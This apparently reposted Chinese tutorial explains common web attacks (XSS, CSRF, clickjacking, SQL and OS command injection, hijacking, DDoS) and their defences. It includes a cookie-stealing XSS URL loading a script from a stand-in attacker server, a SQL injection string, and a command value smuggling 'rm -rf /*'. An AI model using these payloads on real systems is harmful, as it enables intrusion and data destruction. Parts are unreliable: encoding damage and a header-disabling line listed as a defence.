Refreshtoken 前端 安全 前端安全方面

網絡安全

前端不需要過硬的網絡安全方面的知識,但是能夠了解大多數的網絡安全,并且可以進行簡單的防御前兩三個是需要的

介紹一下常見的安全問題,解決方式,和小的Demo,希望大家喜歡

網絡安全匯總

  • XSS
  • CSRF
  • 點擊劫持
  • SQL注入
  • OS注入
  • 請求劫持
  • DDOS

在我看來,前端可以了解并且防御前4個就可以了(小聲逼逼:大佬當我沒說)

XSS

Cross Site Scripting 又叫做跨站腳本攻擊,本身應該叫做CSS,但是由于CSS被占用,無奈下叫做XSS

what is XSS?

我們先從字面意義上看一下,跨站->顧名思義就是我們從一個網站跑到了另外一個網站上,腳本->也就是我們往頁面中寫了腳本內容,可以理解為寫了js代碼,那么最后我們對網站造成了攻擊

例如: 我們在登錄了一個網站之后,一般都會把登錄狀態保存在cookie中,當我們去訪問另外一個網站的時候,就會讀取到cookie

XSS危害
  • 利?虛假輸?表單騙取?戶個?信息。
  • 利?腳本竊取?戶的Cookie值,被害者在不知情的情況下,幫助攻擊者發送惡意請求。
  • 顯示偽造的?章或圖?。
簡單演示
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 如果可以彈出3,證明這個輸入框沒有過濾html標記

模擬獲取cookie

http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">

    后臺代碼

    const koa = require('koa');  //啟動在4000端口上
    const chalk = require('chalk')
    const log = contents => {console.log(chalk.red(contents)) //打印cookie
    }// 模擬黑客網站
    const app = new koa();module.exports = app
    防御措施
    1. 設置HEAD
    ctx.set('X-XSS-Protection', 0) // 禁?XSS過濾
      1. 設置HttpOnly Cookie
        這是預防XSS攻擊竊取?戶cookie最有效的防御?段。Web應 ?程序在設置cookie時,將其屬性設為HttpOnly,就可以避免該??的cookie被客戶端惡意JavaScript竊取,保護?戶cookie信息。
      response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
        1. CSP
          內容安全策略 (CSP, Content Security Policy) 是?個附加的安全層,?于幫助檢測和緩解某些類型的攻擊,包括跨站腳本 (XSS) 和數據注?等攻擊。 這些攻擊可?于實現從數據竊取到?站破壞或作為惡意軟件分發版本等?途。
          CSP 本質上就是建??名單,開發者明確告訴瀏覽器哪些外部資源可以加載和執?。我們只需要配置規則,如何攔截是由瀏覽器??實現的。我們可以通過這種?式來盡量減少
          XSS 攻擊。

        CSRF

        CSRF(Cross Site Request Forgery),即跨站請求偽造,是?種常?的Web攻擊,它利??戶已登錄的身份,在?戶毫不知情的情況下,以?戶的名義完成?法操作。

        what is CSRF?

        還是從字面上去分析,跨站還是指從一個網站指向另外一個網站,于XSS不用的是,他是請求,指我們在別的網站上發出一個請求,而這個請求是偽造出來的

        • ?戶已經登錄了站點 A,并在本地記錄了 cookie
        • 在?戶沒有登出站點 A 的情況下(也就是 cookie ?效的情況下),訪問了惡意攻擊者提供的引誘危險站點 B (B 站點要求訪問站點A)。
        • 站點 A 沒有做任何 CSRF 防御
        CSRF危害
        • 利??戶登錄態
        • ?戶不知情
        • 完成業務請求
        • 盜取?戶資?(轉賬,消費)
        • 冒充?戶發帖背鍋
        • 損害?站聲譽
        防御CSRF
        • 禁?第三??站帶Cookie - 有兼容性問題
        • Referer Check - Https不發送referer
        • 驗證碼

        點擊劫持

        點擊劫持是?種視覺欺騙的攻擊?段。攻擊者將需要攻擊的?站通過 iframe 嵌套的?式嵌???的??中,并將 iframe 設置為透明,在??中透出?個按鈕誘導?戶點擊。

        what is 點擊劫持?

        點擊劫持說白了就是誘導用戶點擊,下面放一張圖片,估計就都了解了

        如何防御點擊劫持

        X-FRAME-OPTIONS
        X-FRAME-OPTIONS 是?個 HTTP 響應頭,在現代瀏覽器有?個很好的?持。這個 HTTP 響應頭就是為了防御? iframe 嵌套的點擊劫持攻擊。

        ctx.set('X-FRAME-OPTIONS', 'DENY')

          JS方式

          <head><style id="click-jack">html {display: none !important;}</style>
          </head>
          <body><script>if (self == top) {var style = document.getElementById('click-jack')document.body.removeChild(style)} else {top.location = self.location}</script>
          </body>

          SQL注入

          sql是我們學習數據庫的一種語言,而注入就代表是從前端對數據庫下手

          what is sql注入?

          下面這段代碼可以看出來,當我們進行字符串拼接(拼接sql語句的時候),會出現一種類似于管道符的bug, 1|0,那么這句話為恒為真

          // 填?特殊密碼
          1'or'1'='1
          // 拼接后的SQL
          SELECT *
          FROM test.user
          WHERE username = 'laowang'
          AND password = '1'or'1'='1'
          防御措施

          其實防御起來很簡單,每個語言都提供了不同的方式,但是原理就是不進行字符串拼接,而是用占位符

          • 嚴格限制Web應?的數據庫的操作權限**,給此?戶提供僅僅能夠滿?其?作的最低權限,從?最?限度的減少注?攻擊對數據庫的危害
          • 對進?數據庫的特殊字符(’,",\,<,>,&,*,; 等)進?轉義處理,或編碼轉換**。基本上所有的后端語?都有對字符串進?轉義處理的?法,?如 lodash 的 lodash._escapehtmlchar庫。
          • 后端代碼檢查輸?的數據是否符合預期**,嚴格限制變量的類型,例如使?正則表達式進??些匹配處理。
          后幾個我沒學過防御,前端萌新

          OS命令注入

          OS命令注?和SQL注?差不多,只不過SQL注?是針對數據庫的,?OS命令注?是針對操作系統的。OS命令注?攻擊指通過Web應?,執??法的操作系統命令達到攻擊的?的。只要在能調?Shell函數的地?就有存在被攻擊的?險。倘若調?Shell時存在疏漏,就可以執?插?的?法命令。

          // 以 Node.js 為例,假如在接?中需要從 github 下載?戶指定的 repo
          const exec = require('mz/child_process').exec;
          let params = {/* ?戶輸?的參數 */};
          exec(`git clone ${params.repo} /some/path`);

          如果參數是

          https://github.com/xx/xx.git && rm -rf /* &&

            請求劫持

            • DNS劫持
              顧名思義,DNS服務器(DNS解析各個步驟)被篡改,修改了域名解析的結果,使得訪問到的不是預期的ip
            • HTTP劫持 運營商劫持,此時?概只能升級HTTPS了

            DDOS

            distributed denial of service 分布式系統攻擊

            what is DDOS?

            DDOS 不是?種攻擊,?是??類攻擊的總稱。它有??種類型,新的攻擊?法還在不斷發明出來。?站運?的各個環節,都可以是攻擊?標。只要把?個環節攻破,使得整個流程跑不起來,就達到了癱瘓服務的?的。

            其中,?較常?的?種攻擊是 cc 攻擊。它就是簡單粗暴地送來?量正常的請求,超出服務器的最?承受量,導致宕機。我遭遇的就是 cc 攻擊,最多的時候全世界?概20多個 IP 地址輪流發出請求,每個地址的請求量在每秒200次~300次。我看訪問?志的時候,就覺得那些請求像洪??樣涌來,?眨眼就是??堆,?分鐘的時間,?志?件的體積就?了100MB。說實話,這只能算?攻擊,但是我的個??站沒有任何防護,服務器還是跟其他?共享的,這種流量?來?刻就下線了。

            如何防御

            說白了花錢解決

            本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
            如若轉載,請注明出處:http://www.pswp.cn/news/897411.shtml
            繁體地址,請注明出處:http://hk.pswp.cn/news/897411.shtml
            英文地址,請注明出處:http://en.pswp.cn/news/897411.shtml

            如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

            相關文章

            vue3框架的響應式依賴追蹤機制

            當存在一個響應式變量于視圖中發生改變時會更新當前組件的所以視圖顯示&#xff0c;但是沒有視圖中不寫這個響應式變量就就算修改該變量也不會修改視圖&#xff0c;這是為什么&#xff1f;我們能否可以理解寬泛的理解為vue組件的更新就是視圖的更新&#xff0c;單當視圖中不存在…

            C#核心(22)string

            前言 我們在之前的學習中已經學習過了很多數字類型的數據結構,但一直沒有講解除了char以外的字符串相關的知識點,這也是我們繼繼承,封裝,重載這些知識點之后要補充講解的核心知識點。 你也發現了,其實在密封函數之后我們就已經開始進入更底層的方面為你講解知識點了,這…

            Spring Boot 本地緩存工具類設計與實現

            在 Spring Boot 應用中&#xff0c;緩存是提升性能的重要手段之一。為了更方便地使用緩存&#xff0c;我們可以設計一套通用的本地緩存工具類&#xff0c;封裝常見的緩存操作&#xff0c;簡化開發流程。本文將詳細介紹如何設計并實現一套 Spring Boot 本地緩存工具類&#xff0…

            引領變革!北京愛悅詩科技有限公司榮獲“GAS消費電子科創獎-產品創新獎”!

            在2025年“GAS消費電子科創獎”評選中&#xff0c;北京愛悅詩科技有限公司提交的“aigo愛國者GS06”&#xff0c;在技術創新性、設計創新性、工藝創新性、智能化創新性及原創性五大維度均獲得評委的高度認可&#xff0c;榮獲“產品創新獎”。 這一獎項不僅是對愛悅詩在消費電子…

            考研英語語法全攻略:從基礎到長難句剖析?

            引言 在考研英語的備考之旅中,語法猶如一座燈塔,為我們在浩瀚的英語知識海洋中指引方向。無論是閱讀理解中復雜長難句的解讀,還是寫作時準確流暢表達的需求,扎實的語法基礎都起著至關重要的作用。本文將結合有道考研語法基礎入門課的相關內容,為大家全面梳理考研英語語法…

            構建自己的AI客服【根據用戶輸入生成EL表達式】

            要實現一個基于對話形式的AI客服系統&#xff0c;該系統能夠提示用戶輸入必要的信息&#xff0c;并根據用戶的輸入生成相應的EL&#xff08;Expression Language&#xff09;表達式編排規則&#xff0c;您可以按照以下步驟進行設計和開發。本文將涵蓋系統架構設計、關鍵技術選型…

            【JavaWeb12】數據交換與異步請求:JSON與Ajax的絕妙搭配是否塑造了Web的交互革命?

            文章目錄 &#x1f30d;一. 數據交換--JSON??1. JSON介紹??2. JSON 快速入門??3. JSON 對象和字符串對象轉換??4. JSON 在 java 中使用??5. 代碼演示 &#x1f30d;二. 異步請求--Ajax??1. 基本介紹??2. JavaScript 原生 Ajax 請求??3. JQuery 的 Ajax 請求 &a…

            解決CentOS 8.5被惡意掃描的問題

            CentOS 8 官方倉庫已停止維護(EOL),導致一些常用依賴包如fail2ban 無法正常安裝。 完整解決方案: 一、問題根源 CentOS 8 官方倉庫已停更:2021 年底 CentOS 8 停止維護,默認倉庫的包可能無法滿足依賴關系。EPEL 倉庫兼容性:EPEL 倉庫可能未適配 CentOS 8.5 的舊版本依賴…

            使用格式工廠提取視頻中的音頻

            選擇輸出格式&#xff1a;在格式工廠的左側功能欄中&#xff0c;點擊 “音頻” 選項&#xff0c;會展開多種音頻格式&#xff0c;根據自己的需求選擇如 “MP3”“WAV”“WMA” 等作為輸出格式。添加視頻文件&#xff1a;點擊 “添加文件” 按鈕&#xff0c;在彈出的文件瀏覽器中…

            前端雜的學習筆記

            什么是nginx Nginx (engine x) 是一個高性能的HTTP和反向代理web服務器 Nginx是一款輕量級的Web 服務器/反向代理服務器&#xff0c;處理高并發能力是十分強大的&#xff0c;并且支持熱部署&#xff0c;啟動簡單&#xff0c;可以做到7*24不間斷運行 正代和反代 學習nginx&a…

            玩轉ChatGPT:GPT 深入研究功能

            一、寫在前面 民間總結&#xff1a; 理科看Claude 3.7 Sonnet 文科看DeepSeek-R1 那么&#xff0c;ChatGPT呢&#xff1f; 看Deep Research&#xff08;深入研究&#xff09;功能。 對于科研狗來說&#xff0c;在這個文章爆炸的時代&#xff0c;如何利用AI準確、高效地收…

            RabbitMQ 2025/3/5

            高性能異步通信組件。 同步調用 以支付為例&#xff1a; 可見容易發生雪崩。 異步調用 以支付為例&#xff1a; 支付服務當甩手掌柜了&#xff0c;不管后面的幾個服務的結果。只管庫庫發&#xff0c;后面那幾個服務想取的時候就取&#xff0c;因為消息代理里可以一直裝&#x…

            Win10 訪問 Ubuntu 18 硬盤

            目錄 方案一&#xff1a;使用Samba共享服務Ubuntu 18 端配置Windows 10 端訪問 方案二&#xff1a;使用 SSHFS&#xff08;需在 Windows 上安裝 SSH 客戶端&#xff09;Ubuntu 18 端配置Windows 10 端配置 方案三&#xff1a;使用 FTP 服務Ubuntu 18 端配置Windows 10 端訪問 方…

            Android15使用FFmpeg解碼并播放MP4視頻完整示例

            效果: 1.編譯FFmpeg庫: 下載FFmpeg-kit的源碼并編譯生成安裝平臺庫 2.復制生成的FFmpeg庫so文件與包含目錄到自己的Android下 如果沒有prebuiltLibs目錄,創建一個,然后復制 包含目錄只復制arm64-v8a下

            Hadoop、Hive、Spark的關系

            Part1&#xff1a;Hadoop、Hive、Spark關系概覽 1、MapReduce on Hadoop 和spark都是數據計算框架&#xff0c;一般認為spark的速度比MR快2-3倍。 2、mapreduce是數據計算的過程&#xff0c;map將一個任務分成多個小任務&#xff0c;reduce的部分將結果匯總之后返回。 3、HIv…

            計算機網絡篇:基礎知識總結與基于長期主義的內容更新

            基礎知識總結 和 MySQL 類似&#xff0c;我同樣花了一周左右的時間根據 csview 對計算機網絡部分的八股文進行了整理&#xff0c;主要的內容包括&#xff1a;概述、TCP 與 UDP、IP、HTTP&#xff0c;其中我個人認為最重要的是 TCP 這部分的內容。 在此做一篇目錄索引&#xf…

            [密碼學實戰]Java實現國密TLSv1.3單向認證

            一、代碼運行結果 1.1 運行環境 1.2 運行結果 1.3 項目架構 二、TLS 協議基礎與國密背景 2.1 TLS 協議的核心作用 TLS(Transport Layer Security) 是保障網絡通信安全的加密協議,位于 TCP/IP 協議棧的應用層和傳輸層之間,提供: ? 數據機密性:通過對稱加密算法(如 AE…

            09 HarmonyOS NEXT 仿uv-ui Tag組件開發教程系列(三)

            溫馨提示&#xff1a;本篇博客的詳細代碼已發布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下載運行哦&#xff01; 文章目錄 Tag組件實戰應用與最佳實踐1. 復雜場景應用1.1 標簽篩選系統 2. 性能優化實踐2.1 狀態管理優化2.2 渲染性能優化 3. 實用功能擴展3.1 拖拽…

            clickhouse查詢效率低

            《關于ClickHouse查詢效率低的探討》 在數據處理的世界里&#xff0c;數據庫扮演著至關重要的角色。ClickHouse是一款專為在線分析處理&#xff08;OLAP&#xff09;設計的列式存儲數據庫管理系統。它因其快速的數據寫入和查詢速度而聞名&#xff0c;尤其適合處理海量數據。如…

            Linux系統基于ARM平臺的LVGL移植

            軟硬件介紹&#xff1a;Ubuntu 20.04 ARM 和&#xff08;Cortex-A53架構&#xff09;開發板 基本原理 LVGL圖形庫是支持使用Linux系統的Framebuffer幀緩沖設備實現的&#xff0c;如果想要實現在ARM開發板上運行LVGL圖形庫&#xff0c;那么就需要把LVGL圖形庫提供的關于幀緩沖設…